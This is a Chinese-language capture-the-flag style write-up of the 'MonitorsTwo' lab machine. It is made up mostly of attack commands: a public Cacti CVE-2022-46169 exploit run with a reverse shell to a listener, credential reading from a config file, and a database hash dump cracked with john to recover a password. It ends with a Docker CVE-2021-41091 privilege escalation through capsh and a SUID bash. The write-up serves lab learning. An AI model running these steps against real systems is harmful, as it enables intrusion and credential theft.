文章目录
- 0x01 信息收集
- 0x02 CVE-2022-46169 漏洞利用
- 0x03 权限提升
- 0x04 提升到root权限
MonitorsTwo 测试过程
0x01 信息收集
a.端口扫描:发现22、80端口
b.信息收集:1.2.22 Cacti信息收集
nmap -sC -sV 10.129.186.132

1.访问 10.129.186.132,为 1.2.22 Cacti 框架的登录页面

2.搜索 1.2.22 Cacti 信息,发现在1.2.22版本存在RCE漏洞,编号: CVE-2022-46169

CVE-2022-46169 exploit地址:https://www.exploit-db.com/exploits/51166
0x02 CVE-2022-46169 漏洞利用
# 设置监听
ncat -lnvp 4444
python3 CVE-2022-46169-CACTI.py -u http://10.129.186.132/ --LHOST=10.10.14.150 --LPORT=4444

获取到www-data权限

0x03 权限提升
1.主机名为随机的十六进制,猜测可能为docker容器,查看根目录是否有docker配置文件,发现.dockernv守护进程配置文件,确认为docker容器

2.查看 web 目录,检查include/config.php配置文件


发现mysql数据库运行主机、默认数据库、用户名、密码

3.数据库连接
mysql -h db -u root -proot cacti

show tables;

describe user_auth;

select username,password from user_auth;

4.使用john工具破解hash密码
获取到账号密码 marcus:funkymonkey

5.ssh登录
ssh marcus@10.129.186.132

0x04 提升到root权限
# 未发现可利用
sudo -l
find / -type f -perm -4000 2>/dev/null
uname -a

1.检查docker版本,发现 docker version 20.10.5+dfsg1
docker --version

2.搜索docker version 20.10.5 版本相关信息,发现存在漏洞: CVE-2021-41091

3.CVE-2021-41091漏洞利用
找到相关漏洞利用资料:https://exploit-notes.hdks.org/exploit/container/docker/moby-docker-engine-privesc/
1> 找到容器挂载目录:
findmnt

2> 发现两个容器正在运行: 确定哪一个50bca5e748b0容器
# 执行失败
ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html
# 执行成功,确定此为Cacti容器
ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/var/www/html

3> 在容器中准备SUID二进制文件
设置suid二进制文件需要root权限,我们此时权限为www-data权限。
4> 将www-data 提升至 root权限
#检查二进制文件
find / -perm /4000 2>/dev/null

利用capsh进行提权
capsh --gid=0 --uid=0 --

5> 重新设置suid二进制文件
chmod u+s /bin/bash

6> 在真实主机中执行 SUID 二进制文件
挂载目录/bin/bash -p
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
